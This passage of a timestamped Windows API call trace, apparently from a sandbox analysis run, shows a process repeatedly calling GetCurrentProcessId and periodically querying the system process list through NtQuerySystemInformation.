GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.314] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.315] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0217.316] GetCurrentProcessId () returned 0xbf4 [0218.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0218.642] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0220.091] GetCurrentProcessId () returned 0xbf4 [0220.091] GetCurrentProcessId () returned 0xbf4 [0220.091] GetCurrentProcessId () returned 0xbf4 [0220.091] GetCurrentProcessId () returned 0xbf4 [0220.091] GetCurrentProcessId () returned 0xbf4 [0220.091] GetCurrentProcessId () returned 0xbf4 [0220.091] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.092] GetCurrentProcessId () returned 0xbf4 [0220.735] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0224.647] GetCurrentProcessId () returned 0xbf4 [0224.647] GetCurrentProcessId () returned 0xbf4 [0224.647] GetCurrentProcessId () returned 0xbf4 [0224.647] GetCurrentProcessId () returned 0xbf4 [0224.647] GetCurrentProcessId () returned 0xbf4 [0224.647] GetCurrentProcessId () returned 0xbf4 [0224.647] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.648] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0224.649] GetCurrentProcessId () returned 0xbf4 [0225.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb80) returned 0x0 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.277] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.278] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.279] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.280] GetCurrentProcessId () returned 0xbf4 [0225.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cc20) returned 0x0 [0228.745] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb80) returned 0x0 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.779] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.780] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.781] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0231.782] GetCurrentProcessId () returned 0xbf4 [0232.328] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.330] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.331] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.332] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.333] GetCurrentProcessId () returned 0xbf4 [0232.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.938] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.939] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] GetCurrentProcessId () returned 0xbf4 [0232.940] 